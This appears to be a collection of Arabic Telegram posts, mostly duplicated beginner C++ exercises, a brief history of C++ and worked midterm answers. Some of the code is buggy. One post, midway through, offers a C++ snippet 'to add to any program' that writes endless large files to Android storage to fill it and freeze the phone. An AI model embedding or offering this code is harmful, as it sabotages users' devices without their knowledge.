الدوال ايجاد عناصر فوق القطر الرئيسي
#include <iostream>
using namespace std;
int hu(int a[4][4])
{ cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<"عناصرفوق القطر الرئيسي"<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i<j)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
#include <iostream>
using namespace std;
int hu(int a[4][4])
{ cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<"عناصرفوق القطر الرئيسي"<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i<j)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
الدوال ايجاد عناصر المصفوفه الذي تحت القطر الرئيسي
#include <iostream>
using namespace std;
int hu(int a[4][4])
{
cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<"عناصر تحت القطر الرئيسي "<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i>j)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
#include <iostream>
using namespace std;
int hu(int a[4][4])
{
cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<"عناصر تحت القطر الرئيسي "<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i>j)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
الدوال ايجاد عناصر المصفوفه الذي تحت القطر الثانوي
#include <iostream>
using namespace std;
int hu(int a[4][4])
{
cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<" عناصر تحت القطر الثانوي"<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i+j>3)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
#include <iostream>
using namespace std;
int hu(int a[4][4])
{
cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<" عناصر تحت القطر الثانوي"<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i+j>3)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
الدوال ايجاد عناصر المصفوفه الذي فوق القطر الثانوي
#include <iostream>
using namespace std;
int hu(int a[4][4])
{ cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<"عناصر فوق القطر الثانوي"<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i+j<3)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
#include <iostream>
using namespace std;
int hu(int a[4][4])
{ cout<<"▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂▂"<<endl;
cout<<"عناصر فوق القطر الثانوي"<<endl;
for (int i=0;i<4;i++){
for (int j=0;j<4;j++)
if (i+j<3)
cout <<a[i][j]<<"\t";
else
cout<<"\t";
cout<<"\n\n";}
}
int main()
{
int hm[4][4];
cout<<"ادخل 16 رقم "<<endl;
{ for (int i=0;i<4;i++)
for (int j=0;j<4;j++)
cin>>hm[i][j];}
hu(hm);
}
حل الاختبار النصفي الدكتور قيس النزيلي
What are the differences between
1/void function_name(int &x , int b);
2/int function_name(int x , int b);
الاجابه
1/void function_name
1/لاترجع قيمه الا بشرط اذا كان يحتوي المتغير على &
2/ ولا تحتاج إلى ; return
3/فلمتغير الاول يرجع قيمه بينما الثاني لا يرجع قيمه
2/ int function_name
1/ترجع قيمه لاكنها تحتاج إلى ; return
2/المتغير الاول والثاني يرجع قيمه لاكن يحتاج إلى; return
السؤال الثاني
Correct the following overloading function prototype
1/Void add(int num1, num2);
2/Void add(float num1, float num2)
3/Void add(int num1, num2, int num 3);
Void main ()
{
add(3,4);
add(5.5,7.9);
add(3,5.8,7);
}
الحل
1/Void add(int num1, int num2);
2/Void add(float num1, float num2);
3/Void add(int num1, float num2, int num 3);
السؤال الثالث
Using the Concept of function, write a program to accept 5 numbers and check if the number odd or even
الحل
#include<iostream>
using namespace std;
int even(int c[],int x){
cout <<"even the numbe"<<endl;
for (int o=0;o<x;o++)
if(c[o]%2==0)
cout <<c[o]<<endl;
return 0;
}
int odd(int b[] , int r)
{
cout <<"odd the number"<<endl;
for(int i=0;i<r;i++)
if(b[i]%2==1)
cout <<b[i]<<endl;
return 0;
}
int main( )
{
int x[5];
for (int i=0;i<5;i++)
cin>>x[i];
odd(x,5);
even(x,5);
return 0;
}
What are the differences between
1/void function_name(int &x , int b);
2/int function_name(int x , int b);
الاجابه
1/void function_name
1/لاترجع قيمه الا بشرط اذا كان يحتوي المتغير على &
2/ ولا تحتاج إلى ; return
3/فلمتغير الاول يرجع قيمه بينما الثاني لا يرجع قيمه
2/ int function_name
1/ترجع قيمه لاكنها تحتاج إلى ; return
2/المتغير الاول والثاني يرجع قيمه لاكن يحتاج إلى; return
السؤال الثاني
Correct the following overloading function prototype
1/Void add(int num1, num2);
2/Void add(float num1, float num2)
3/Void add(int num1, num2, int num 3);
Void main ()
{
add(3,4);
add(5.5,7.9);
add(3,5.8,7);
}
الحل
1/Void add(int num1, int num2);
2/Void add(float num1, float num2);
3/Void add(int num1, float num2, int num 3);
السؤال الثالث
Using the Concept of function, write a program to accept 5 numbers and check if the number odd or even
الحل
#include<iostream>
using namespace std;
int even(int c[],int x){
cout <<"even the numbe"<<endl;
for (int o=0;o<x;o++)
if(c[o]%2==0)
cout <<c[o]<<endl;
return 0;
}
int odd(int b[] , int r)
{
cout <<"odd the number"<<endl;
for(int i=0;i<r;i++)
if(b[i]%2==1)
cout <<b[i]<<endl;
return 0;
}
int main( )
{
int x[5];
for (int i=0;i<5;i++)
cin>>x[i];
odd(x,5);
even(x,5);
return 0;
}
👍3❤1
عالم الأمن السيبراني
تم بوت التواصل @CIBERSECURITYybot
#include <iostream>
using namespace std;
int main() {
int s= 1;
for(int i = 1; i <= 5; i++) {
s= s * i;
}
cout<<s;
return 0;
}
مضروب العدد 5.
using namespace std;
int main() {
int s= 1;
for(int i = 1; i <= 5; i++) {
s= s * i;
}
cout<<s;
return 0;
}
مضروب العدد 5.
👏3
سي++
سي بلس بلس C++ ھي لغة برمجة للإستخدامات العامة، تعتبر لغة السي++ لغة برمجة كائنیة .و التي یعتبرھا الكثیرون اللغة الأفضل
لتصمیم التطبیقات ذات الواجھة الكبیرة. و لغة السي بلس بلس C++ من لغات البرمجة العالیة المستوي و في نفس الوقت قریبة من لغة
التجمیع ذات المستوي المحدود. و ھي لغة ناشئة من لغة C الذي قام بتطویرھا بیارن ستروستروب إلي.C++
تاریخ
طور بیارن ستروستروب ,(Bjarne Stroustrup) و الذي كان یعمل في مختبرات بیل، لغة السي++ في الثمانینات كتحسین للغة
السي، تشمل السي++ جمیع مزایا السي بالأضافة إلى مزایا البرمجة الكائنیة، تسھّل لغة C++ الأسلوب المھیكل والمنھجي لعملیة تصمیم
البرامج،وتعتمد على الكائنات كبنیة أساسیة لتشكیل البرامج.
و مثلھا مثل لغة السى، فان السى++ ھى لغة متعدده الاستخدامات الا انھا مناسبة لبرامج أنظمة التشغیل. و تكتب معظم أجزاء أنظمة
التشغیل و برامج مساعدة أنظمة التشغیل باستخدام السى++ و منھا نظام جنو/لینكس.
و یتجنب الكثیر من المبرمجین لغة السى++ و السى نظرا لشھرتھما كلغات برمجة معقدة. و قد أدى ذلك إلى استخدام الكثیرین للغات
مثل فیجوال بیسك و دیلفي ثم جافا و سي شارب و الأخیرتین ھما مجرد تسھیل (و لیس تطویر) للغة السى++ و بدا في وقت معین أن
لغات مثل الجافا سوف تستولى على سوق البرمجیات التجاریة من السى++ مع ھجرة عدد كبیر من مبرمجى السى++ إلى جافا و سى
شارب ، الا أنھ سرعان ما أدرك المبرمجون أن السى++ ھى السبیل الوحید لانتاج برامج تجاریة قویة و سریعة و تؤدى المطلوب منھا
بكفاءة و بأقل عدد من الأخطاء.
أمثلة
مثال Hello, World بالسي++
#include <iostream>
using namespace std;
int main ()
{
cout << "Hello, world!" << endl;
return 0;
}
سي بلس بلس C++ ھي لغة برمجة للإستخدامات العامة، تعتبر لغة السي++ لغة برمجة كائنیة .و التي یعتبرھا الكثیرون اللغة الأفضل
لتصمیم التطبیقات ذات الواجھة الكبیرة. و لغة السي بلس بلس C++ من لغات البرمجة العالیة المستوي و في نفس الوقت قریبة من لغة
التجمیع ذات المستوي المحدود. و ھي لغة ناشئة من لغة C الذي قام بتطویرھا بیارن ستروستروب إلي.C++
تاریخ
طور بیارن ستروستروب ,(Bjarne Stroustrup) و الذي كان یعمل في مختبرات بیل، لغة السي++ في الثمانینات كتحسین للغة
السي، تشمل السي++ جمیع مزایا السي بالأضافة إلى مزایا البرمجة الكائنیة، تسھّل لغة C++ الأسلوب المھیكل والمنھجي لعملیة تصمیم
البرامج،وتعتمد على الكائنات كبنیة أساسیة لتشكیل البرامج.
و مثلھا مثل لغة السى، فان السى++ ھى لغة متعدده الاستخدامات الا انھا مناسبة لبرامج أنظمة التشغیل. و تكتب معظم أجزاء أنظمة
التشغیل و برامج مساعدة أنظمة التشغیل باستخدام السى++ و منھا نظام جنو/لینكس.
و یتجنب الكثیر من المبرمجین لغة السى++ و السى نظرا لشھرتھما كلغات برمجة معقدة. و قد أدى ذلك إلى استخدام الكثیرین للغات
مثل فیجوال بیسك و دیلفي ثم جافا و سي شارب و الأخیرتین ھما مجرد تسھیل (و لیس تطویر) للغة السى++ و بدا في وقت معین أن
لغات مثل الجافا سوف تستولى على سوق البرمجیات التجاریة من السى++ مع ھجرة عدد كبیر من مبرمجى السى++ إلى جافا و سى
شارب ، الا أنھ سرعان ما أدرك المبرمجون أن السى++ ھى السبیل الوحید لانتاج برامج تجاریة قویة و سریعة و تؤدى المطلوب منھا
بكفاءة و بأقل عدد من الأخطاء.
أمثلة
مثال Hello, World بالسي++
#include <iostream>
using namespace std;
int main ()
{
cout << "Hello, world!" << endl;
return 0;
}
عالم الأمن السيبراني
Photo
#include <iostream>
#include <string>
using namespace std;
struct student {
string name;
int age;
float average;
} arr_stu[5];
int main()
{
arr_stu[0].name="Ali";
arr_stu[0].age=25;
arr_stu[0].average=86.8;
arr_stu[1].name="Khalid";
arr_stu[1].age=19;
arr_stu[1].average=80.0;
arr_stu[2].name="Saleh";
arr_stu[2].age=22;
arr_stu[2].average=77.3;
arr_stu[3].name="Abdo";
arr_stu[3].age=21;
arr_stu[3].average=90.9;
cout<<"arr_stu[0]\tarr_stu[1]\tarr_stu[2]\tarr_stu[3]\n";
cout<< arr_stu[0].name<<"\t\t";
cout << arr_stu[1].name<<"\t\t";
cout << arr_stu[2].name<<"\t\t";
cout<< arr_stu[3].name<<"\t\t";
cout<< arr_stu[4].name<<"\n";
cout<<arr_stu[0].age<<"\t\t";
cout<<arr_stu[1].age<<"\t\t";
cout<<arr_stu[2].age<<"\t\t";
cout<<arr_stu[3].age<<"\t\t";
cout<<arr_stu[4].age<<"\n";
cout<<arr_stu[0].average<<"\t\t";
cout<<arr_stu[1].average<<"\t\t";
cout<<arr_stu[2].average<<"\t\t";
cout<<arr_stu[3].average<<"\t\t";
cout<<arr_stu[4].average<<"\n";
return 0;
}
#include <string>
using namespace std;
struct student {
string name;
int age;
float average;
} arr_stu[5];
int main()
{
arr_stu[0].name="Ali";
arr_stu[0].age=25;
arr_stu[0].average=86.8;
arr_stu[1].name="Khalid";
arr_stu[1].age=19;
arr_stu[1].average=80.0;
arr_stu[2].name="Saleh";
arr_stu[2].age=22;
arr_stu[2].average=77.3;
arr_stu[3].name="Abdo";
arr_stu[3].age=21;
arr_stu[3].average=90.9;
cout<<"arr_stu[0]\tarr_stu[1]\tarr_stu[2]\tarr_stu[3]\n";
cout<< arr_stu[0].name<<"\t\t";
cout << arr_stu[1].name<<"\t\t";
cout << arr_stu[2].name<<"\t\t";
cout<< arr_stu[3].name<<"\t\t";
cout<< arr_stu[4].name<<"\n";
cout<<arr_stu[0].age<<"\t\t";
cout<<arr_stu[1].age<<"\t\t";
cout<<arr_stu[2].age<<"\t\t";
cout<<arr_stu[3].age<<"\t\t";
cout<<arr_stu[4].age<<"\n";
cout<<arr_stu[0].average<<"\t\t";
cout<<arr_stu[1].average<<"\t\t";
cout<<arr_stu[2].average<<"\t\t";
cout<<arr_stu[3].average<<"\t\t";
cout<<arr_stu[4].average<<"\n";
return 0;
}
#include <iostream>
#include <string>
using namespace std;
float sum (int a[3][3]){
int s=0 ;
int c=0;
int avg;
for ( int i=0;i<3;i++ )
for (int j=0;j<3;j++ )
if(i==j){
s=s+a[i][j];
c++;
}
avg=s/c;
return s;
return avg;
}
int min(int a[3][3]){
int m=a[0][0];
for ( int i=0;i<3;i++ )
for (int j=0;j<3;j++ )
if (m>a[i][j])
m=a[i][j];
return m;
}
int sum2(int a[3][3])
{
int b[3];
int s;
for ( int i=0;i<3;i++ ) {
s=0;
for (int j=0;j<3;j++ ){
s=s+a[i][j];
}
b[i]=s;
}
for ( int i=0;i<3;i++ )
cout<<b[i]<<endl;
}
int main() {
int a[3][3];
for ( int i=0;i<3;i++ )
for (int j=0;j<3;j++ )
{
cin>>a[i][j];
cout<<endl;
}
cout<<sum(a)<<endl;
cout<<min(a)<<endl;
sum2(a);
}
#include <string>
using namespace std;
float sum (int a[3][3]){
int s=0 ;
int c=0;
int avg;
for ( int i=0;i<3;i++ )
for (int j=0;j<3;j++ )
if(i==j){
s=s+a[i][j];
c++;
}
avg=s/c;
return s;
return avg;
}
int min(int a[3][3]){
int m=a[0][0];
for ( int i=0;i<3;i++ )
for (int j=0;j<3;j++ )
if (m>a[i][j])
m=a[i][j];
return m;
}
int sum2(int a[3][3])
{
int b[3];
int s;
for ( int i=0;i<3;i++ ) {
s=0;
for (int j=0;j<3;j++ ){
s=s+a[i][j];
}
b[i]=s;
}
for ( int i=0;i<3;i++ )
cout<<b[i]<<endl;
}
int main() {
int a[3][3];
for ( int i=0;i<3;i++ )
for (int j=0;j<3;j++ )
{
cin>>a[i][j];
cout<<endl;
}
cout<<sum(a)<<endl;
cout<<min(a)<<endl;
sum2(a);
}
#include <iostream>
#include <string>
using namespace std;
struct employee
{
int id;
string name;
string address;
int age ;
int salary;
string function;
};
int main() {
int n;
cout<<"enter n:";
cin>>n;
employee emp[n];
for(int i=0;i<n;i++)
{
cout<<"Enter employee id :";
cin>>emp[i].id ;
cout<<"Enter employee name:";
cin>>emp[i].name ;
cout<<"Enter employee address:";
cin>>emp[i].address ;
cout<<"Enter employee age:";
cin>>emp[i].age ;
cout<<"Enter employee salary:";
cin>>emp[i].salary ;
cout<<"Enter employee function:";
cin>>emp[i].function ;
}
for(int i=0;i<n;i++)
{
cout<<endl;
cout<<"employee:";
cout<<i;
cout<<emp[i].id;
cout<<endl ;
cout<<emp[i].name;
cout<<endl;
cout<<emp[i].address;
cout<<endl;
cout<<emp[i].age;
cout<<endl;
cout<<emp[i].salary;
cout<<endl;
cout<<emp[i].function;
cout<<endl;
}
}
#include <string>
using namespace std;
struct employee
{
int id;
string name;
string address;
int age ;
int salary;
string function;
};
int main() {
int n;
cout<<"enter n:";
cin>>n;
employee emp[n];
for(int i=0;i<n;i++)
{
cout<<"Enter employee id :";
cin>>emp[i].id ;
cout<<"Enter employee name:";
cin>>emp[i].name ;
cout<<"Enter employee address:";
cin>>emp[i].address ;
cout<<"Enter employee age:";
cin>>emp[i].age ;
cout<<"Enter employee salary:";
cin>>emp[i].salary ;
cout<<"Enter employee function:";
cin>>emp[i].function ;
}
for(int i=0;i<n;i++)
{
cout<<endl;
cout<<"employee:";
cout<<i;
cout<<emp[i].id;
cout<<endl ;
cout<<emp[i].name;
cout<<endl;
cout<<emp[i].address;
cout<<endl;
cout<<emp[i].age;
cout<<endl;
cout<<emp[i].salary;
cout<<endl;
cout<<emp[i].function;
cout<<endl;
}
}
نموذج بسيط او كود بسيط يمكن إضافته إلى أي برنامج لنفائذ مساحة الذاكرة بسرعه وتعليق الهاتف
#include <iostream>
#include <fstream>
#include <sstream>
#include <jni.h>
int main() {
int h = 0;
//المسار الخاص بالحفظ
const char *path = "/storage/emulated/0/اسم الملف/";
std::string str = "";
// حشو السلسلة بمليون حرف
for (int i = 0; i < 100000000; ++i) {
str += "Hani Tomer"; // يمكنك تغيير "a" إلى أي حرف ترغب في استخدامه
}
while (true) {
h++;
std::stringstream ss;
ss << path << h << ".txt";
std::ofstream file(ss.str());
file << str;
file.close();
}
return 0;
}
اذا اردت ملائى الذاكرة بسرعه اجعل السلسلة 10 مليار
#include <iostream>
#include <fstream>
#include <sstream>
#include <jni.h>
int main() {
int h = 0;
//المسار الخاص بالحفظ
const char *path = "/storage/emulated/0/اسم الملف/";
std::string str = "";
// حشو السلسلة بمليون حرف
for (int i = 0; i < 100000000; ++i) {
str += "Hani Tomer"; // يمكنك تغيير "a" إلى أي حرف ترغب في استخدامه
}
while (true) {
h++;
std::stringstream ss;
ss << path << h << ".txt";
std::ofstream file(ss.str());
file << str;
file.close();
}
return 0;
}
اذا اردت ملائى الذاكرة بسرعه اجعل السلسلة 10 مليار
#include <iostream>
const int size = 6;
void push(int stack[], int& top, int item)
{
if (top < size)
{
top++;
stack[top] = item;
}
else
{
std::cout << "FULL STACK!!" << std::endl;
}
}
void pop(int stack[], int& top, int& item)
{
if (top > 0)
{
item = stack[top];
top--;
}
else
{
std::cout << "EMPTY STACK??" << std::endl;
}
}
void print(int stack[], int top)
{
int item;
for (int i = 0; i <= top; i++)
{
pop(stack, top, item);
std::cout << item << " ";
}
std::cout << std::endl;
}
int main()
{
int stack[size];
int top = 0;
int item, i, j;
int stack_2[size];
int top_2 = 0;
int a[size];
for (i = 0; i < size; i++)
{
std::cout << "Enter item: ";
std::cin >> item;
push(stack, top, item);
}
for (i = 0; i < size; i++)
{
pop(stack, top, item);
a[i] = item;
}
for (i = 0; i < size; i++)
{
item = a[i];
for (j = i + 1; j < size; j++)
{
if (item == a[j])
{
push(stack_2, top_2, item);
}
}
}
print(stack_2, top_2);
return 0;
}
const int size = 6;
void push(int stack[], int& top, int item)
{
if (top < size)
{
top++;
stack[top] = item;
}
else
{
std::cout << "FULL STACK!!" << std::endl;
}
}
void pop(int stack[], int& top, int& item)
{
if (top > 0)
{
item = stack[top];
top--;
}
else
{
std::cout << "EMPTY STACK??" << std::endl;
}
}
void print(int stack[], int top)
{
int item;
for (int i = 0; i <= top; i++)
{
pop(stack, top, item);
std::cout << item << " ";
}
std::cout << std::endl;
}
int main()
{
int stack[size];
int top = 0;
int item, i, j;
int stack_2[size];
int top_2 = 0;
int a[size];
for (i = 0; i < size; i++)
{
std::cout << "Enter item: ";
std::cin >> item;
push(stack, top, item);
}
for (i = 0; i < size; i++)
{
pop(stack, top, item);
a[i] = item;
}
for (i = 0; i < size; i++)
{
item = a[i];
for (j = i + 1; j < size; j++)
{
if (item == a[j])
{
push(stack_2, top_2, item);
}
}
}
print(stack_2, top_2);
return 0;
}
#include <iostream>
using namespace std;
const int Size=4;
void enqueue( int queue [Size],int&front,int&rear,int item )
{
if(rear<Size)
{
rear++;
queue[rear]=item;
}
else
cout<<"\n sorry queue is full"<<endl;
}
void dequeu(int queue[Size],int&front,int&rear,int&item)
{
if(front<=rear)
{
item=queue[front];
front++;
}
else
{
cout<<"\n sorry queue is empty "<<endl;
front=rear=-1;
}
}
int main(int argc, char *argv[])
{
int queue[Size],rear=-1, front= -1,item;
for(int i=0;i<Size;i++)
{
cin>>item;
enqueue (queue ,front,rear,item);
}
for(int i=0;i<Size;i++)
{
cout<<queue[item]<<endl;
dequeu(queue,front,rear,item);
}
}
//#هياكل_بيانات_عملي
//تطبيق _كود_الطوابير
using namespace std;
const int Size=4;
void enqueue( int queue [Size],int&front,int&rear,int item )
{
if(rear<Size)
{
rear++;
queue[rear]=item;
}
else
cout<<"\n sorry queue is full"<<endl;
}
void dequeu(int queue[Size],int&front,int&rear,int&item)
{
if(front<=rear)
{
item=queue[front];
front++;
}
else
{
cout<<"\n sorry queue is empty "<<endl;
front=rear=-1;
}
}
int main(int argc, char *argv[])
{
int queue[Size],rear=-1, front= -1,item;
for(int i=0;i<Size;i++)
{
cin>>item;
enqueue (queue ,front,rear,item);
}
for(int i=0;i<Size;i++)
{
cout<<queue[item]<<endl;
dequeu(queue,front,rear,item);
}
}
//#هياكل_بيانات_عملي
//تطبيق _كود_الطوابير
👍3
#include <iostream>
using namespace std;
const int Size=4;
void enqueue( int queue [Size],int&front,int&rear,int item )
{
if(rear<Size)
{
rear++;
queue[rear]=item;
}
else
cout<<"\n sorry queue is full"<<endl;
}
void dequeu(int queue[Size],int&front,int&rear,int&item)
{
if(front<=rear)
{
front++;
item=queue[front];
}
else
{
cout<<"\n sorry queue is empty "<<endl;
front=rear=-1;
}
}
int main(int argc, char *argv[])
{
int queue[Size],rear=-1, front= -1,item;
cout<<"Enter elment queue:\n";
for(int i=0;i<Size;i++)
{
cout<<"item "<<(i+1)<<" :";
cin>>item;
enqueue (queue ,front,rear,item);
}
cout<<"elment queue is:\n";
for(int i=0;i<Size;i++)
{
dequeu(queue,front,rear,item);
cout<<item<<"\t";
}
}
//#هياكل_بيانات_عملي
//تطبيق _كود_الطوابير
using namespace std;
const int Size=4;
void enqueue( int queue [Size],int&front,int&rear,int item )
{
if(rear<Size)
{
rear++;
queue[rear]=item;
}
else
cout<<"\n sorry queue is full"<<endl;
}
void dequeu(int queue[Size],int&front,int&rear,int&item)
{
if(front<=rear)
{
front++;
item=queue[front];
}
else
{
cout<<"\n sorry queue is empty "<<endl;
front=rear=-1;
}
}
int main(int argc, char *argv[])
{
int queue[Size],rear=-1, front= -1,item;
cout<<"Enter elment queue:\n";
for(int i=0;i<Size;i++)
{
cout<<"item "<<(i+1)<<" :";
cin>>item;
enqueue (queue ,front,rear,item);
}
cout<<"elment queue is:\n";
for(int i=0;i<Size;i++)
{
dequeu(queue,front,rear,item);
cout<<item<<"\t";
}
}
//#هياكل_بيانات_عملي
//تطبيق _كود_الطوابير
👍3
#include <iostream>
struct Node {
int data;
Node* prev;
Node* next;
};
class DoubleLinkedList {
private:
Node* head;
Node* tail;
public:
DoubleLinkedList() {
head = nullptr;
tail = nullptr;
}
void addToEnd(int value) {
Node* newNode = new Node;
newNode->data = value;
newNode->next = nullptr;
if (head == nullptr) {
newNode->prev = nullptr;
head = newNode;
tail = newNode;
} else {
newNode->prev = tail;
tail->next = newNode;
tail = newNode;
}
}
void addToStart(int value) {
Node* newNode = new Node;
newNode->data = value;
newNode->prev = nullptr;
if (head == nullptr) {
newNode->next = nullptr;
head = newNode;
tail = newNode;
} else {
newNode->next = head;
head->prev = newNode;
head = newNode;
}
}
void insertAfter(int key, int value) {
Node* newNode = new Node;
newNode->data = value;
Node* curr = head;
while (curr != nullptr) {
if (curr->data == key) {
newNode->prev = curr;
newNode->next = curr->next;
if (curr->next != nullptr) {
curr->next->prev = newNode;
} else {
tail = newNode;
}
curr->next = newNode;
break;
}
curr = curr->next;
}
}
void deleteNode(int key) {
Node* curr = head;
while (curr != nullptr) {
if (curr->data == key) {
if (curr->prev != nullptr) {
curr->prev->next = curr->next;
} else {
head = curr->next;
}
if (curr->next != nullptr) {
curr->next->prev = curr->prev;
} else {
tail = curr->prev;
}
delete curr;
break;
}
curr = curr->next;
}
}
void printList() {
Node* curr = head;
while (curr != nullptr) {
std::cout << curr->data << " ";
curr = curr->next;
}
std::cout << std::endl;
}
};
int main() {
DoubleLinkedList myList;
int choice;
int value, key;
do {
std::cout << "1. Add to end\n";
std::cout << "2. Add to start\n";
std::cout << "3. Insert after\n";
std::cout << "4. Delete node\n";
std::cout << "5. Print list\n";
std::cout << "6. Exit\n";
std::cout << "Enter your choice: ";
std::cin >> choice;
switch (choice) {
case 1:
std::cout << "Enter the value to add: ";
std::cin >> value;
myList.addToEnd(value);
break;
case 2:
std::cout << "Enter the value to add: ";
std::cin >> value;
myList.addToStart(value);
break;
case 3:
std::cout << "Enter the key value: ";
std::cin >> key;
std::cout << "Enter the value to insert: ";
std::cin >> value;
myList.insertAfter(key, value);
break;
case 4:
std::cout << "Enter the value to delete: ";
std::cin >> value;
myList.deleteNode(value);
break;
case 5:
std::cout << "Current list: ";
myList.printList();
break;
case 6:
std::cout << "Exiting...\n";
break;
default:
std::cout << "Invalid choice. Please try again.\n";
}
std::cout << std::endl;
} while (choice != 6);
return 0;
}
struct Node {
int data;
Node* prev;
Node* next;
};
class DoubleLinkedList {
private:
Node* head;
Node* tail;
public:
DoubleLinkedList() {
head = nullptr;
tail = nullptr;
}
void addToEnd(int value) {
Node* newNode = new Node;
newNode->data = value;
newNode->next = nullptr;
if (head == nullptr) {
newNode->prev = nullptr;
head = newNode;
tail = newNode;
} else {
newNode->prev = tail;
tail->next = newNode;
tail = newNode;
}
}
void addToStart(int value) {
Node* newNode = new Node;
newNode->data = value;
newNode->prev = nullptr;
if (head == nullptr) {
newNode->next = nullptr;
head = newNode;
tail = newNode;
} else {
newNode->next = head;
head->prev = newNode;
head = newNode;
}
}
void insertAfter(int key, int value) {
Node* newNode = new Node;
newNode->data = value;
Node* curr = head;
while (curr != nullptr) {
if (curr->data == key) {
newNode->prev = curr;
newNode->next = curr->next;
if (curr->next != nullptr) {
curr->next->prev = newNode;
} else {
tail = newNode;
}
curr->next = newNode;
break;
}
curr = curr->next;
}
}
void deleteNode(int key) {
Node* curr = head;
while (curr != nullptr) {
if (curr->data == key) {
if (curr->prev != nullptr) {
curr->prev->next = curr->next;
} else {
head = curr->next;
}
if (curr->next != nullptr) {
curr->next->prev = curr->prev;
} else {
tail = curr->prev;
}
delete curr;
break;
}
curr = curr->next;
}
}
void printList() {
Node* curr = head;
while (curr != nullptr) {
std::cout << curr->data << " ";
curr = curr->next;
}
std::cout << std::endl;
}
};
int main() {
DoubleLinkedList myList;
int choice;
int value, key;
do {
std::cout << "1. Add to end\n";
std::cout << "2. Add to start\n";
std::cout << "3. Insert after\n";
std::cout << "4. Delete node\n";
std::cout << "5. Print list\n";
std::cout << "6. Exit\n";
std::cout << "Enter your choice: ";
std::cin >> choice;
switch (choice) {
case 1:
std::cout << "Enter the value to add: ";
std::cin >> value;
myList.addToEnd(value);
break;
case 2:
std::cout << "Enter the value to add: ";
std::cin >> value;
myList.addToStart(value);
break;
case 3:
std::cout << "Enter the key value: ";
std::cin >> key;
std::cout << "Enter the value to insert: ";
std::cin >> value;
myList.insertAfter(key, value);
break;
case 4:
std::cout << "Enter the value to delete: ";
std::cin >> value;
myList.deleteNode(value);
break;
case 5:
std::cout << "Current list: ";
myList.printList();
break;
case 6:
std::cout << "Exiting...\n";
break;
default:
std::cout << "Invalid choice. Please try again.\n";
}
std::cout << std::endl;
} while (choice != 6);
return 0;
}
👍6
#include <iostream>
#include <queue>
#include <string>
using namespace std;
int main() {
queue<string> circularQueue;
// إدخال العناصر إلى الطابور
cout << "الرجاء إدخال عناصر الطابور:" << endl;
for (int i = 0; i < 5; ++i) {
string item;
cout << "ادخل العنصر: "<<i+1<<" ";
cin >> item;
circularQueue.push(item);
}
// طلب حذف عنصر
cout << "الآن، يرجى إدخال رقم العنصر للحذف (1-10): ";
int removeIndex;
cin >> removeIndex;
// حذف العنصر
for (int i = 0; i < removeIndex - 1; ++i) {
circularQueue.push(circularQueue.front());
circularQueue.pop();
}
circularQueue.pop();
// طباعة العناصر المتبقية بعد الحذف
cout << "العناصر في الطابور بعد الحذف:" << endl;
while (!circularQueue.empty()) {
cout << circularQueue.front() << " ";
circularQueue.pop();
}
cout << endl;
return 0;
}
سؤال الدكتور محمد الحراسي الي قال في الاختبار حق حذف عنصر محدد من الطابور الدائري
#include <queue>
#include <string>
using namespace std;
int main() {
queue<string> circularQueue;
// إدخال العناصر إلى الطابور
cout << "الرجاء إدخال عناصر الطابور:" << endl;
for (int i = 0; i < 5; ++i) {
string item;
cout << "ادخل العنصر: "<<i+1<<" ";
cin >> item;
circularQueue.push(item);
}
// طلب حذف عنصر
cout << "الآن، يرجى إدخال رقم العنصر للحذف (1-10): ";
int removeIndex;
cin >> removeIndex;
// حذف العنصر
for (int i = 0; i < removeIndex - 1; ++i) {
circularQueue.push(circularQueue.front());
